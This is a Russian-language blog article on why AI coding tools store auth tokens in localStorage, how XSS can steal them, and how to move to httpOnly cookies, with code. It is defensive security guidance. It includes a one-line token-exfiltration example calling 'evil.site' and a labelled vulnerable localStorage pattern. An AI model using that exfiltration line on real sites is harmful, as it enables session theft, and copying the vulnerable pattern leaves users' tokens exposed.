Cursor, GitHub Copilot, Claude Code или Lovable за пару минут соберут форму логина. Но если не уточнить про безопасность отдельно, восемь запросов из десяти дадут что-то вроде localStorage.setItem('token', data.token). Код рабочий, тесты проходят, демо на созвоне выглядит отлично. Проблема в другом: localStorage читает абсолютно любой JavaScript на странице, включая чужой, который прилетел через сломанную зависимость или обычную XSS-дыру. Обновлено: октябрь 2026. Разберем, почему AI так генерирует хранение токенов в localStorage, чем это реально грозит продукту и как переписать код на httpOnly cookies за один вечер.
AI-инструменты кладут пароли и токены в localStorage по умолчанию, потому что так проще всего в туториалах, на которых их обучали. localStorage читает любой скрипт на странице, поэтому одна XSS-уязвимость превращается в кражу всех сессий разом. Правильное место для токена, httpOnly cookie или переменная в памяти, а не localStorage. Ниже, разбор угрозы, готовый фикс и таблица выбора под конкретный проект.

Почему AI-код почти всегда кладет пароли в localStorage?
localStorage.setItem — самый частый пример хранения токена в открытых туториалах и Stack Overflow, на которых обучались модели, поэтому AI по умолчанию воспроизводит именно этот паттерн.
Компания Secure Code Warrior проверила 1760 кодовых баз, сгенерированных 16 моделями, включая продукты Anthropic, OpenAI и Google. В среднем на один AI-сгенерированный проект нашли 15 подтвержденных уязвимостей, из них 4,3 критические. Хранение токена в localStorage регулярно попадает в этот список.
Дело не в том, что модель "не знает" про безопасность. Она оптимизирована решить задачу и выдать рабочий результат, а localStorage решает задачу быстрее всего: три строчки кода, никакой настройки бэкенда, никакого CORS. Habr публиковал разбор исследования на 20 000+ реальных задач: даже когда AI решает задачу технически правильно, он вносит уязвимость в 45% случаев. А по сравнению с человеком-разработчиком standalone-модель вводит уязвимостей в девять раз больше, причем часть паттернов вообще уникальна для генеративного кода и у людей почти не встречается.
Если вы вайбкодите продукт через Lovable, Bolt или Cursor и не задаете вопрос про хранение токена явно, скорее всего, вы получите именно localStorage. Это не баг конкретного инструмента, это общее слепое пятно всей категории AI code assistants.

Чем localStorage реально опасен для паролей и токенов?
localStorage читает любой JavaScript на странице без исключений, поэтому одна XSS-уязвимость в любом компоненте открывает доступ ко всем токенам сразу.
OWASP в Session Management Cheat Sheet прямо предупреждает: не храните токены, JWT, refresh-токены и любые учетные данные в localStorage, потому что к ним получает доступ весь код на странице, включая сторонние библиотеки и рекламные скрипты. Это не абстрактная рекомендация, а прямое следствие того, как работает браузер.
Механика атаки простая. Атакующий находит XSS: через уязвимый npm-пакет, скомпрометированный CDN или недоэкранированный пользовательский ввод. Дальше внедренный скрипт делает одну строчку fetch('https://evil.site?t=' + localStorage.getItem('token')) и токен уезжает злоумышленнику. Никакого пароля не нужно, никакой второй фактор не спасет, потому что сессия уже украдена целиком.

Масштаб проблемы растет вместе с ростом самого вайбкодинга. По данным "Информзащиты", в 2026 году 32% уязвимостей, найденных при пентестах AI и LLM-приложений, относятся к высокорисковым. Для сравнения, по всем классам активов этот показатель около 12%, то есть риск-профиль AI-приложений выше среднего в 2,7 раза. Хранение токена в localStorage вносит в эту статистику ощутимую долю.
Что такое httpOnly cookie и почему он безопаснее?
httpOnly cookie физически недоступен для JavaScript, поэтому даже при активной XSS-уязвимости скрипт не может прочитать значение токена, оно видно только браузеру и серверу.
Cookie с флагом HttpOnly не читается через document.cookie. Флаг Secure запрещает передачу cookie по обычному HTTP, только по HTTPS. Флаг SameSite ограничивает отправку cookie запросами с чужих доменов и закрывает основную часть CSRF-векторов. Из этого набора у httpOnly cookie есть один явный минус: лимит около 4 КБ на одну cookie, так что большой JWT с кучей claims туда просто не влезет.

| Флаг | Что делает |
|---|---|
| HttpOnly | Блокирует чтение cookie через JavaScript |
| Secure | Разрешает передачу только по HTTPS |
| SameSite=Strict/Lax | Не отправляет cookie с чужих доменов, режет CSRF |
Важная оговорка: httpOnly cookie не панацея. Если у вас уже есть XSS, атакующий может выполнять произвольный JavaScript в контексте вашего сайта и отправлять запросы от имени пользователя, даже не имея доступа к самому токену. Это как запертая дверь в доме, где взломщик уже находится внутри. Главный приоритет всегда один: закрыть саму XSS-уязвимость через валидацию ввода, экранирование вывода и жесткий Content Security Policy, а httpOnly cookie это вторая линия обороны, а не единственная.
Куда класть access-токен, а куда refresh-токен?
Рабочая схема 2026 года: короткоживущий access-токен держится в памяти, JS-переменной, а долгоживущий refresh-токен лежит в httpOnly, Secure, SameSite cookie.
Access-токен живет минутами, используется для запросов к API и пропадает при обновлении страницы, это нормально. Refresh-токен живет днями или неделями, хранится в httpOnly cookie и нужен только для одного действия: получить новый access-токен, когда старый истек или страница перезагрузилась. Такую связку используют Auth0, Clerk, Supabase и большинство современных auth-библиотек.

| Тип токена | Где хранить | Время жизни |
|---|---|---|
| Access-токен | JS-переменная в памяти | Минуты |
| Refresh-токен | httpOnly, Secure, SameSite cookie | Дни или недели |
Поток такой: при загрузке приложения фронтенд стучится на /auth/refresh, браузер сам подставляет cookie, сервер возвращает свежий access-токен, тот кладется в переменную и живет там до следующего обновления страницы или логаута. Для SPA, у которых бэкенд на отдельном домене, эту схему можно усилить паттерном BFF (backend-for-frontend): браузер вообще не держит токенов, только сессионную cookie, а прокси-сервер сам общается с API.
Как исправить AI-сгенерированный код за один вечер?
Три шага: найти все обращения к localStorage, настроить httpOnly cookie на бэкенде и перевести access-токен в память вместо localStorage.

При переходе на cookie не забудьте про withCredentials: true в axios или credentials: 'include' в fetch, иначе браузер просто не отправит cookie на запрос к API. Это самая частая причина, почему миграция "не работает" с первого раза.
Шаг 1. Найдите все места, где AI уже успел написать localStorage.setItem или getItem рядом с токеном:
grep -rn "localStorage" src/Шаг 2. На бэкенде эндпоинт логина вместо возврата токена в JSON выставляет cookie:
// Так делает AI по умолчанию, уязвимо
const data = await response.json();
localStorage.setItem('token', data.token);// Бэкенд сам ставит httpOnly cookie
res.cookie('refreshToken', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});Шаг 3. Фронтенд перестает трогать localStorage вручную и держит access-токен в памяти:
const response = await fetch('/api/login', {
method: 'POST',
credentials: 'include',
body: JSON.stringify(creds)
});
let accessToken = (await response.json()).accessToken;Если проект собран через Cursor, Claude Code или похожий инструмент, попросите его же переписать код по этой схеме, но обязательно перечитайте diff руками. AI одинаково легко пишет и уязвимый, и безопасный вариант, разница только в том, насколько конкретный промпт.
localStorage или cookies: что выбрать под конкретный проект?
Если фронтенд и бэкенд на одном домене, httpOnly cookie почти всегда правильный выбор. Для мобильных клиентов или стороннего API без поддержки cookie понадобится другая схема.
Выбор зависит не от личных предпочтений, а от архитектуры конкретного продукта. Приложение на одном домене с полным контролем над бэкендом почти всегда выигрывает от cookie. А вот мобильное приложение или интеграция со сторонним API, который не умеет работать с cookie, требует access-токена в памяти или нативного secure-хранилища.
| Сценарий | Рекомендация | Почему |
|---|---|---|
| Веб-приложение на одном домене | httpOnly cookie | Максимальная защита от XSS, просто настроить SameSite |
| Несколько поддоменов одного продукта | httpOnly cookie с общим Domain | Cookie расшаривается между поддоменами |
| Мобильное приложение | Authorization header + Keychain/Keystore | Веб-cookie неудобны в нативном клиенте |
| Сторонний API без cookie-поддержки | Access-токен в памяти | Минимизирует время жизни токена в браузере |
| Банковское или медицинское приложение | httpOnly cookie + короткий TTL | Высокий риск требует максимальной защиты |
Какие плюсы и минусы у каждого способа хранения?

Плюсы и минусы localStorage
Плюс в простоте: API из одной строчки, данные доступны JavaScript напрямую, поэтому фронтенд может мгновенно решить, показывать ли админ-панель, без лишнего похода на сервер. Минус перевешивает плюс: полная открытость для XSS, отсутствие автоматического срока жизни и возможность для самого пользователя открыть DevTools и подправить значение вручную.
Плюсы и минусы httpOnly cookies
Плюс, токен невидим для JavaScript и автоматически уезжает с каждым запросом на нужный домен, ничего вручную прикреплять не нужно. Минус, лимит в 4 КБ, остаточный риск CSRF без правильного SameSite и чуть больше работы на старте, потому что нужно настраивать и фронтенд, и бэкенд одновременно.
Насколько часто AI-код реально содержит такие уязвимости?
В 2026 году треть уязвимостей, найденных при пентестах AI-приложений, относится к высокорисковым, а риск-профиль таких продуктов выше среднего почти в три раза.
Цифры сходятся из разных источников. Secure Code Warrior: 15 подтвержденных уязвимостей на проект в среднем, 4,3 критические. "Информзащита": 32% высокорисковых находок в AI-приложениях против 12% по всем классам активов. Habr со ссылкой на анализ 20 000+ реальных задач: AI вводит уязвимость в 45% решенных задач, даже когда сама задача выполнена правильно. Это не значит, что вайбкодинг опаснее классической разработки в целом, значит, что проверка кода на такие вещи, как хранение токена, больше не опция, а обязательный шаг перед продакшеном.
Максим: «GoBanana мы собрали за 3 часа после выхода новой модели, и это принесло 12 миллионов рублей. Но именно поэтому в вайбкодинге нельзя пропускать проверку хранения токенов. Одна забытая строчка localStorage.setItem обнуляет всю эту скорость одной XSS-атакой.»
Частые вопросы про хранение паролей в AI-коде
Хранят ли сами модели вроде Claude или ChatGPT пароли пользователей в localStorage? Нет, модель ничего не хранит сама. Она пишет код, а куда этот код кладет токен, зависит от промпта и от того, проверили вы результат или нет.
Можно ли зашифровать токен перед сохранением в localStorage и на этом успокоиться? Нет. Ключ шифрования лежит в том же фронтенд-коде, который атакующий может прочитать через XSS, так что шифрование добавляет шаг, а не убирает уязвимость.
httpOnly cookie полностью закрывает вопрос с XSS? Нет, она защищает конкретно токен от кражи через JavaScript, но если XSS уже есть, атакующий может делать запросы от имени пользователя и без токена на руках.

Что делать, если фронтенд и API живут на разных доменах? Держите access-токен в памяти и обновляйте его через refresh-эндпоинт, либо поставьте прокси-бэкенд между фронтендом и API, который сам управляет cookie.
Как быстро проверить старый AI-сгенерированный проект на эту уязвимость? Запустите grep -rn "localStorage"по исходникам и просмотрите все совпадения рядом со словами token, password, auth и session.
Нужен ли Redis, чтобы отзывать JWT-токены? Не обязателен, но сильно упрощает жизнь: список отозванных токенов в Redis решает проблему мгновенного логаута, которой у stateless JWT нет по умолчанию.
Что использовать в мобильном приложении вместо localStorage? Нативное защищенное хранилище: Keychain на iOS и Keystore на Android, а не веб-аналоги вроде localStorage или cookie.
Если собираете продукт через AI и хотите сразу закладывать безопасное хранение токенов, а не чинить его постфактум, посмотрите разбор инструментов в каталоге AI IDE. Там же есть отдельные обзоры на Claude Code, Cursor и GitHub Copilot с конкретными плюсами и минусами каждого. Для тех, кто отвечает за инфраструктуру и хочет системно закрывать такие уязвимости, полезна подборка в нише агента для devops. А если нужна помощь с конкретным проектом, можно записаться на консультацию к Максиму.
Обновлено: октябрь 2026.